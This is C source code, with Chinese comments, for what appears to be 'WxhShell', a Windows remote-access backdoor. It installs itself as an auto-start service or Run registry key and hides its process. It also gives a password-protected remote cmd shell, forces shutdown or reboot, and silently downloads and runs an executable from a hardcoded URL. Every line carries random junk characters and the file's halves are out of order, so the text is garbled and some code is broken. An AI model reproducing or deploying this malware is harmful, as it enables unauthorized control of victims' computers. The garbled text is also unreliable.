    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jA{B G_  
    if(Boot(SHUTDOWN)) qJs_ahy(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ':}9>B3 S  
    else { h/A\QW8Sd  
    closesocket(wsh); 5Q%)|(U'  
    ExitThread(0); U"|1@W#  
    } =D0d+b6  
    break; M 2| k.  
    } b=S"o )>  
  // 获取shell uSYI X  
  case 's': { Y*pXbztP  
    CmdShell(wsh); V?*fl^f  
    closesocket(wsh); v+xrn z  
    ExitThread(0); $X;OK  
    break; vh&~Y].W Y  
  } p @q20>^u  
  // 退出 5N>flQ  
  case 'x': { (rJ-S"^u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CLZ j=J2  
    CloseIt(wsh); >0:3CpO*  
    break; O[$X36z  
    } n~ $S  
  // 离开 aC=2v7*  
  case 'q': { !Z>,dN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #t Uhul/O  
    closesocket(wsh); TD floDxA  
    WSACleanup(); QqF*SaO>  
    exit(1); zqU$V~5;rG  
    break; a!6r&<s=E  
        } SJ22  
  } cM9> V2:P  
  } <,p$eQ)T%  
xe6V7Wi/Tt  
  // 提示信息 KXx;~HtO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gktlwiCZ  
} X ]&`"Z]  
  } -">Tvi4  
g qORE/[  
  return; dHOH]x  
} o$->|k  
a}` M[%d7  
// shell模块句柄 4e\wC  
int CmdShell(SOCKET sock) 27[e0 j  
{ (&)uWjq `  
STARTUPINFO si; p cUccQ  
ZeroMemory(&si,sizeof(si)); +KExK2=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3,i`FqQa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >cjxu9Vr1K  
PROCESS_INFORMATION ProcessInfo; m,hqq%qz  
char cmdline[]="cmd"; (W"0c?i|]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fh_:ung  
  return 0; H/[(T%]o  
} 1Zk1!> ?  
N1g;e?T ':  
// 自身启动模式 k}kwr[  
int StartFromService(void) wp8-(E^  
{ VIGLl'8p  
typedef struct 0 )PZS>  
{ aVV E 2:M  
  DWORD ExitStatus; aH%tD!%,o  
  DWORD PebBaseAddress; Dz.kJ_"Ro  
  DWORD AffinityMask; NI:OL  
  DWORD BasePriority; |9 *$6Y  
  ULONG UniqueProcessId; yTbtS-  
  ULONG InheritedFromUniqueProcessId; K; hP0J  
}   PROCESS_BASIC_INFORMATION; c 3| Lk7Q  
ML$#&Z@ *7  
PROCNTQSIP NtQueryInformationProcess; j&.JAQ*2;  
Tf$>^L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N0D5N(kH%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +NB5Fd4  
k-*k'S_  
  HANDLE             hProcess; A ?~4Pe  
  PROCESS_BASIC_INFORMATION pbi; *WzPxQ_  
v(sS$2J|}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cu$`-b^y  
  if(NULL == hInst ) return 0; jMR9E@>~E  
>4>. Ycp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [KO\!u|?YS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |%X_<Cpk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ss|n7  
xXV15%&  
  if (!NtQueryInformationProcess) return 0; b0%#=KMi  
gi@&Mr)fS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DT;;4- {  
  if(!hProcess) return 0; ou|3%&*"  
b[n6L5P5m2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @ohJ'  
'@hnqcqXq  
  CloseHandle(hProcess); Um/ g&k  
JZyEyN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [sPLu)q2  
if(hProcess==NULL) return 0; 75Bn p9  
=5pwNi_S  
HMODULE hMod; )d {8Cu6  
char procName[255]; Y'6P ~C;v  
unsigned long cbNeeded; 1U~'8=-   
hoPh#? G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .b*-GWx  
JK XIxw>q  
  CloseHandle(hProcess); _#P5j#  
eBECY(QMQ  
if(strstr(procName,"services")) return 1; // 以服务启动 g2r8J0v  
=o"sBVj  
  return 0; // 注册表启动 G in  
} \=W t{  
T5-'|+  
// 主模块 2)^T[zHe  
int StartWxhshell(LPSTR lpCmdLine) giddM2'  
{ l`K5fk  
  SOCKET wsl; 7x |Pgu(  
BOOL val=TRUE; P/9|mYmsq  
  int port=0; !G ~\9  
  struct sockaddr_in door; #DTBdBh?I  
EX3;|z@5;  
  if(wscfg.ws_autoins) Install(); '(($dT  
U@:iN..  
port=atoi(lpCmdLine); BS3BJwf; f  
G!ryW4  
if(port<=0) port=wscfg.ws_port; ybm&g( -\  
n lvDMZ  
  WSADATA data; {-5 b[m(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zf\It<zT5  
a)L=+Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yF&?gPh&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K)8 m?sf/  
  door.sin_family = AF_INET; 2-wvL&pi)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l]e7  
  door.sin_port = htons(port); !jJH}o/KW  
na4^RPtN\e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y2p~chx9  
closesocket(wsl); 5th\_n}N2/  
return 1; F>3fP  
} 2ld0w=?+eu  
.3,Ow(3l  
  if(listen(wsl,2) == INVALID_SOCKET) { p@xK`=Urb  
closesocket(wsl); 5adB5)`  
return 1; 1Yv#4t  
} PmE2T\{s!  
  Wxhshell(wsl); N(&/ Ud  
  WSACleanup(); VrRBwvp-K  
{7q +3f <  
return 0; pe@/tO&I  
] i\a[3  
} cm7>%g(oQo  
_RzcMX  
// 以NT服务方式启动 [+$o`0q;N?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~{O@tt)F  
{ D8_-Dvp7H  
DWORD   status = 0; [W,maT M"  
  DWORD   specificError = 0xfffffff; +4p gPv  
(svd~he2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y{#m=-h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nR~L$Wu5_a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J $<g" z3  
  serviceStatus.dwWin32ExitCode     = 0; _\xd]~ELj  
  serviceStatus.dwServiceSpecificExitCode = 0; xSHeP`P^X  
  serviceStatus.dwCheckPoint       = 0; '| |),>~  
  serviceStatus.dwWaitHint       = 0; F{aM6I  
vV9q5Bj:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YVLaO*( f  
  if (hServiceStatusHandle==0) return; V0WFh=CM@  
t[L'}ig!q  
status = GetLastError(); wq&TU'O  
  if (status!=NO_ERROR) KEj-y+  
{ Z)zmT%t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [HhdeLOX  
    serviceStatus.dwCheckPoint       = 0; U~8 oE_+  
    serviceStatus.dwWaitHint       = 0; 7[ra#>e8'  
    serviceStatus.dwWin32ExitCode     = status; S}*%l)vfR  
    serviceStatus.dwServiceSpecificExitCode = specificError; @=[ SsS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )TcW.d6  
    return; ~\m|pxcj  
  } NLxsxomj  
Q:B:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jlZW!$Iq  
  serviceStatus.dwCheckPoint       = 0; Ot} E  
  serviceStatus.dwWaitHint       = 0; sj@'C@oK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xcYYo'U  
} ^m:?6y_uw  
~m56t5+uw  
// 处理NT服务事件,比如:启动、停止 aTy&"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P}QuGy[  
{ uB:utg  
switch(fdwControl) l0$ +)FKd  
{ COK7 i^  
case SERVICE_CONTROL_STOP: u{ .UZTn  
  serviceStatus.dwWin32ExitCode = 0; v2Bks 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r'q9N  
  serviceStatus.dwCheckPoint   = 0; ,2%>e"%  
  serviceStatus.dwWaitHint     = 0; 8BZDaiE"  
  { S|%f<zAtJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "syf@[tz7  
  } /\KB*dX  
  return; Gx GZxf*(  
case SERVICE_CONTROL_PAUSE: %h%^i   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s^$zO p9  
  break; lLT;V2=osX  
case SERVICE_CONTROL_CONTINUE: `_'I 9,.a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3RP}lb  
  break; b='YCa  
case SERVICE_CONTROL_INTERROGATE: NY ZPh%x  
  break; 89'XOXl&1  
}; q*<Df=+B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t$Z#zx X  
} p' FYK|  
Bk 1Q.Un  
// 标准应用程序主函数 .Go3'$'v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s!2pOH!u   
{ h30~2]hH  
ds4)Nk4%O  
// 获取操作系统版本 W/uaNp  
OsIsNt=GetOsVer(); 4+`<'t]Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +S:(cz80V  
SL/ FMYdd  
  // 从命令行安装 O(otI-Lc  
  if(strpbrk(lpCmdLine,"iI")) Install(); j%KLp4J/e  
SA|f1R2uS  
  // 下载执行文件 -<i&`*zG  
if(wscfg.ws_downexe) { fV_(P_C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A|Yq Bl  
  WinExec(wscfg.ws_filenam,SW_HIDE); vF;%#P  
} 4y+] V~p  
7@m  
if(!OsIsNt) { M>~jLu0@  
// 如果时win9x,隐藏进程并且设置为注册表启动 13Ee"r  
HideProc(); h"')D  
StartWxhshell(lpCmdLine); R gEKs"e  
} oM$EQd`7  
else >b0e"eGt  
  if(StartFromService()) ^6ZA2-f/<8  
  // 以服务方式启动 v>$GVCY  
  StartServiceCtrlDispatcher(DispatchTable); EpCUL@+  
else eGblQGRS  
  // 普通方式启动 SN'LUwaMp!  
  StartWxhshell(lpCmdLine); 2`l$uEI3oJ  
F#Oqa^$(  
return 0; 1HBch]J  
} '@Y@H,  
5_nkN`x  
/cr.}D2O  
gR(*lXm5w  
=========================================== M,PZ|=V6a  
Vcl"qz@Fj  
Fp06a!7<  
>b |l6 #%  
){")RrD(  
y8wOJZ<K  
" ^Yn{Vi2.  
e4ajT  
#include <stdio.h> @B~/0 9  
#include <string.h> LC\Ys\/,U  
#include <windows.h> | 9!3{3  
#include <winsock2.h> <Dt,FWWkv'  
#include <winsvc.h> s0.yPA  
#include <urlmon.h> Ni{ (=&*=  
PS@` =Z  
#pragma comment (lib, "Ws2_32.lib") |]]Xee]  
#pragma comment (lib, "urlmon.lib") EZc!QrY  
p/'C v  
#define MAX_USER   100 // 最大客户端连接数 z8= Gc$w!  
#define BUF_SOCK   200 // sock buffer U\ y?P:yy  
#define KEY_BUFF   255 // 输入 buffer Om{[ <tL  
>NW /0'/  
#define REBOOT     0   // 重启 M\8FjJ>9  
#define SHUTDOWN   1   // 关机 3`k 1  
5 8p_b  
#define DEF_PORT   5000 // 监听端口 _pKW($\  
-";'l @D=  
#define REG_LEN     16   // 注册表键长度 VA)3=82n  
#define SVC_LEN     80   // NT服务名长度 M:nXn7)+  
|z|5j!Nfh  
// 从dll定义API l0u6nGkh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +vLuzM-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'sY>(D*CQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^,b*.6t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T8ZBQ;o  
FymA_Eq  
// wxhshell配置信息 OgS6#X  
struct WSCFG { qw0tw2|  
  int ws_port;         // 监听端口 z(>{"t<C  
  char ws_passstr[REG_LEN]; // 口令 #v')iR"  
  int ws_autoins;       // 安装标记, 1=yes 0=no {`KgyC W:  
  char ws_regname[REG_LEN]; // 注册表键名 pR&cdO RsP  
  char ws_svcname[REG_LEN]; // 服务名 3. Qf^p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lyIstfRh15  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i?'HVx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * C~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E[t\LTt*n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CjOaw$s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bu%@1:l  
)Bl% {C  
}; (Y'rEc#H&z  
ph30/*8  
// default Wxhshell configuration _1dG!!L_  
struct WSCFG wscfg={DEF_PORT, Yiu)0\ o  
    "xuhuanlingzhe", Q9 kKk  
    1, A`=ESz  
    "Wxhshell", 1B6Go  
    "Wxhshell", +fAAkO*GP  
            "WxhShell Service", . %tc7`k8  
    "Wrsky Windows CmdShell Service", ).N}x^  
    "Please Input Your Password: ", TpZ) wC  
  1, |>A1J:  
  "http://www.wrsky.com/wxhshell.exe", u$&7fmZ  
  "Wxhshell.exe" aAwnkQ$  
    }; }o=R7n%  
Gc4N)oq)}b  
// 消息定义模块 I\Y/*u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sG0cN;I]t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9 o-T#~i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1F/`*z  
char *msg_ws_ext="\n\rExit."; gUL`)t\}*  
char *msg_ws_end="\n\rQuit."; ePIBg(  
char *msg_ws_boot="\n\rReboot..."; =a?l@dI]  
char *msg_ws_poff="\n\rShutdown..."; {.H}+@0  
char *msg_ws_down="\n\rSave to "; vp4!p~C{  
5D-xm$8C  
char *msg_ws_err="\n\rErr!"; 6H VS0  
char *msg_ws_ok="\n\rOK!"; W8yr06{]  
2[9hl@=%  
char ExeFile[MAX_PATH]; Trbgg  
int nUser = 0; =d7lrx+z  
HANDLE handles[MAX_USER]; 11X-X  
int OsIsNt; y$*Tbzp  
&>@nW!n u  
SERVICE_STATUS       serviceStatus; @6 gA4h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N ^h,[  
z mrk`o~  
// 函数声明 =:6Y<ftC  
int Install(void); &]pW##  
int Uninstall(void); -q(,}/Xf  
int DownloadFile(char *sURL, SOCKET wsh); @XDU !<N  
int Boot(int flag); ;TMH.E,h:  
void HideProc(void); R7x4v  
int GetOsVer(void); `8xe2=Ub  
int Wxhshell(SOCKET wsl); 6rt.ec(  
void TalkWithClient(void *cs); .4_EaQ;jX  
int CmdShell(SOCKET sock); rNfua   
int StartFromService(void); 0}PW?t76  
int StartWxhshell(LPSTR lpCmdLine); K ^A\S  
',kYZay  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xn$]DE/r}N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4eBM/i  
ub+>i  
// 数据结构和表定义 He)v:AH  
SERVICE_TABLE_ENTRY DispatchTable[] = bX|Z||img  
{ ~e~4S~{  
{wscfg.ws_svcname, NTServiceMain}, O#Xq0o  
{NULL, NULL} I#Iu:,OT  
}; 7,j}]  
1reJ7b0  
// 自我安装 ut& RKr3  
int Install(void) +S^Uw'L$=T  
{ zg)Z2?K|;u  
  char svExeFile[MAX_PATH]; t \DS}3pv  
  HKEY key; V2i*PK X  
  strcpy(svExeFile,ExeFile); lsY5QE:Qrp  
rbO9NRg>  
// 如果是win9x系统,修改注册表设为自启动 9"=:\PE  
if(!OsIsNt) { 46Nl];g1`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , YTuZS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Kpn@Xg  
  RegCloseKey(key); i)+@'!6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z7K ;~*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vs7Hg )F  
  RegCloseKey(key); <3O>  
  return 0; mJ#u]tiL  
    } 4 FGcCE3  
  } %$`pD I)  
} I Zi1N  
else { 3 5B0L.R  
fk#SD "iJ  
// 如果是NT以上系统,安装为系统服务 2o6KVQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1 q}iUnR  
if (schSCManager!=0) xo6-Y=c8  
{ Iy8Ehwejd  
  SC_HANDLE schService = CreateService \uQ(-ji  
  ( B3c rms['  
  schSCManager, DFVaZN?~  
  wscfg.ws_svcname, r*&gd|sn  
  wscfg.ws_svcdisp, \[B5j0vV,  
  SERVICE_ALL_ACCESS, &P&M6v+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zh{Pzyp  
  SERVICE_AUTO_START, yJppPIW^  
  SERVICE_ERROR_NORMAL, -% 5*c61  
  svExeFile, (pREo/T  
  NULL, < :<E~anH  
  NULL, 9Fv1D  
  NULL, XBF#ILJ  
  NULL, X4Q ?]{  
  NULL ] 8+!  
  ); 2?z3s|+[  
  if (schService!=0) HP:ee+n  
  { 1bYc^(z0  
  CloseServiceHandle(schService); ] RN&s  
  CloseServiceHandle(schSCManager); iNe;h|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^0pd- n@pn  
  strcat(svExeFile,wscfg.ws_svcname); VI74{='=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :JV= Kt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Owo2DsT t  
  RegCloseKey(key); t*NZ@)>  
  return 0; =v:vc~G6  
    } }NMA($@A  
  } DJS0;!# |O  
  CloseServiceHandle(schSCManager); pTprU)sa7  
} [_G_Wl'#8  
} pBL,kqYNA>  
^Q pP'  
return 1; /v U$62KA  
} ]- ")r  
!)?n n3  
// 自我卸载 P5P:_hr  
int Uninstall(void) l"W9uS;\T  
{ }/4 AT  
  HKEY key; 3PIZay  
r.lH@}i%n  
if(!OsIsNt) { }cn46 L%/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `J'xVq#O  
  RegDeleteValue(key,wscfg.ws_regname); *l)_&p  
  RegCloseKey(key); ?S~HnIn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O6pswMhAc  
  RegDeleteValue(key,wscfg.ws_regname); }JeGjpAcV  
  RegCloseKey(key); g"EvMv&  
  return 0; 4&r[`gL  
  } )iNM jg  
} 9s>q4_D  
} WldlN?[j  
else { }rj.N98  
B: \\aOEj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pv17wUB  
if (schSCManager!=0) ~pO6C*"  
{ yH|[K=?S[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IlVz 5#R  
  if (schService!=0) e=<knKc Q  
  { GPONCL8(0  
  if(DeleteService(schService)!=0) { E2 Q[  
  CloseServiceHandle(schService); yS^";$2Tc  
  CloseServiceHandle(schSCManager); /x c<&  
  return 0; oM G8?p  
  } R9A8)dDz  
  CloseServiceHandle(schService); ",!#7h  
  } (dd+wx't  
  CloseServiceHandle(schSCManager); v8Vw.Ce`f  
} ;PCnEs  
} NoTEbFrV  
4zkn~oy  
return 1; _PLY<i2vr  
} {_&'tXL  
ea kj>7\s  
// 从指定url下载文件 )r3}9J  
int DownloadFile(char *sURL, SOCKET wsh) :hJHjh  
{ = NHuj.  
  HRESULT hr; /{>$E>N;  
char seps[]= "/"; cKJf0S:cx-  
char *token; Ls< ";QJc  
char *file; @<=xfs  
char myURL[MAX_PATH]; Uy2NZ%rnt  
char myFILE[MAX_PATH]; 7I;xRo|  
ajC'C!"^Ty  
strcpy(myURL,sURL); x' >Nz{B,P  
  token=strtok(myURL,seps); ?oana%  
  while(token!=NULL) 7|%|w  
  { I@Pp[AyG  
    file=token; a\;1%2a  
  token=strtok(NULL,seps); sL" h  
  } Yv<' QC  
K2$ fKju  
GetCurrentDirectory(MAX_PATH,myFILE); ,cZhkXd  
strcat(myFILE, "\\"); %IrR+f+H  
strcat(myFILE, file); -AnQZy  
  send(wsh,myFILE,strlen(myFILE),0); POvxZU  
send(wsh,"...",3,0); .1n=&d|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x\PZ.o  
  if(hr==S_OK) Z/-9G  
return 0; !"1}zeve  
else Loz5[L  
return 1; wpgO09  
HYcLXhvgu  
} e_RLKFv7  
}L mhM  
// 系统电源模块 Vw-,G7v&E  
int Boot(int flag) ~o{GQ>  
{ H<_BnT #  
  HANDLE hToken; O2i7w1t  
  TOKEN_PRIVILEGES tkp; zs/4tNXw  
ot\  FZ  
  if(OsIsNt) { #1Zqq([@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gu?e%]X3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y7CC5S ?  
    tkp.PrivilegeCount = 1; o\/&05rp]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "PgVvm#w'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sX8d8d`}  
if(flag==REBOOT) { Z2n Jw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OlU')0Y  
  return 0; ->Z9j(JU  
} 1Vf?Rw  
else { v C23  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HQp\0NC]  
  return 0; D;nd_{%  
} $4>(}  
  } k1lo{jw`  
  else { 5Zf^cou  
if(flag==REBOOT) { :1 *q}R   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vEy0DHEE  
  return 0; sNa Lz  
} ^bM\:z"M  
else { Borr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TWzlF>4N  
  return 0; J`6IH#54  
} F u>  
} vYFtw L`  
@%lkRU)  
return 1; #|PPkg%v<  
} uzoI*aqk-s  
Pj-.oS2dA  
// win9x进程隐藏模块 *wk?{ U  
void HideProc(void) D\:dn  
{ ^VC /tJ  
# &,W x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1NAGGr00  
  if ( hKernel != NULL ) Fqt,VED  
  { jJY{np  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w"`Zf7a{/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bd'X~Vj<  
    FreeLibrary(hKernel); ?"F9~vx&G  
  } ol0i^d*9F  
^ps6\>=0cW  
return; noNJ+0S  
} NX[-Y]t  
U[0x\~[$K  
// 获取操作系统版本 |,bP` Z  
int GetOsVer(void) &\>=4)HB;  
{ {MRXK nm;e  
  OSVERSIONINFO winfo; zRU9Q 2Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s.X .SJ  
  GetVersionEx(&winfo); T,a71"c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '[Sm w'n6-  
  return 1; |}7!'f\M  
  else ]'NL-8x">  
  return 0; DsB30  
} 57fl<IM  
4wMZNa<Sx  
// 客户端句柄模块 y Nc@K|  
int Wxhshell(SOCKET wsl) jn 5v  
{ aD(3.=[R  
  SOCKET wsh; KuRJo]  
  struct sockaddr_in client; q+znb'i-x  
  DWORD myID; 8(Cs<C!  
KqN;a i,F  
  while(nUser<MAX_USER) 4U8N7  
{ )x,/+R]{8l  
  int nSize=sizeof(client); GE8.{P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u`.3\Geh  
  if(wsh==INVALID_SOCKET) return 1; 4s e6+oJe  
E<ILZpP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r6eZ-V`4  
if(handles[nUser]==0) _1?nLx7n  
  closesocket(wsh); w%?Zb[!&  
else 5tI#UBha  
  nUser++; zv7)JH7EV&  
  } \0W0o5c$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GlHP`&;UH  
mm9uhlV8  
  return 0; {?;qy\m]o  
} `;=-71Gn~  
4VHWoN"U  
// 关闭 socket VFrp7;z43  
void CloseIt(SOCKET wsh) VA>0Y  
{ p,V%wGM  
closesocket(wsh); k|czQ"vaI  
nUser--; zcC:b4  
ExitThread(0); =]r2;014  
} =H`yzGt  
_dY5qW1p  
// 客户端请求句柄 e-Oz`qW~  
void TalkWithClient(void *cs) xHCdtloi?I  
{ @Di!~e6  
AdpJ4}|0  
  SOCKET wsh=(SOCKET)cs; gg/ts]$  
  char pwd[SVC_LEN]; YQ@2p?4m  
  char cmd[KEY_BUFF]; p"FWAC!  
char chr[1]; EKD#s,(V*X  
int i,j; !F:mD ZeY  
xk  
  while (nUser < MAX_USER) { 3RX9LJGX  
0h~{K  
if(wscfg.ws_passstr) { !{4'=+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )7{r8a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f|=u{6  
  //ZeroMemory(pwd,KEY_BUFF); QE8 `nMf  
      i=0; m2H?VY .^K  
  while(i<SVC_LEN) { g[R4/]K^$  
aNn4j_V(  
  // 设置超时 UGlHe7  
  fd_set FdRead; 1 0zw}1x  
  struct timeval TimeOut; K^6d_b&  
  FD_ZERO(&FdRead); a)4%sX*I  
  FD_SET(wsh,&FdRead); .EPv4[2%F8  
  TimeOut.tv_sec=8; Qqi?DW1)-  
  TimeOut.tv_usec=0; Z4X, D`s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l1#.r g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qqJghV$Oj  
M}j[{wW3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JljCI@  
  pwd=chr[0]; 2">de/jS  
  if(chr[0]==0xd || chr[0]==0xa) { `rXb:P7m{j  
  pwd=0; t 9t '9  
  break; #1C]ZV] B  
  } eIEL';N6  
  i++; W':b6}?  
    } ,>01Cs=t8  
x#5vdBf  
  // 如果是非法用户,关闭 socket h-//v~V)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uts>4r>+  
} hj&~Dn(  
f~*7hv\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yo1]HG(kXB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d/T&J=  
(/0dtJ  
while(1) { W"*2,R[}%  
 H2oxD$s  
  ZeroMemory(cmd,KEY_BUFF); !-N!Bt8;  
qe'ssX;  
      // 自动支持客户端 telnet标准   )7]yzc  
  j=0; SuB8mPn  
  while(j<KEY_BUFF) { gTgoS:M"_O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sYo&@~T  
  cmd[j]=chr[0]; 7AS_Aw1L  
  if(chr[0]==0xa || chr[0]==0xd) { 98)C 7N'  
  cmd[j]=0; xmEom  
  break; Y+o\?|q-E  
  } $M j\ 3  
  j++; UM#.`  
    } {NQCe0S+p  
Mvue>)g~>  
  // 下载文件 @e&0Wk  
  if(strstr(cmd,"http://")) {  VM:|I~gJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  }JWkV1  
  if(DownloadFile(cmd,wsh)) o$Ylqb#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9pPLOXr ,  
  else [= BMvP5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WF-jy7+  
  } $+f=l~/s  
  else { DRR)mQBb  
=E> P,"D  
    switch(cmd[0]) { zfE8=d8U  
  >MKj~Ud  
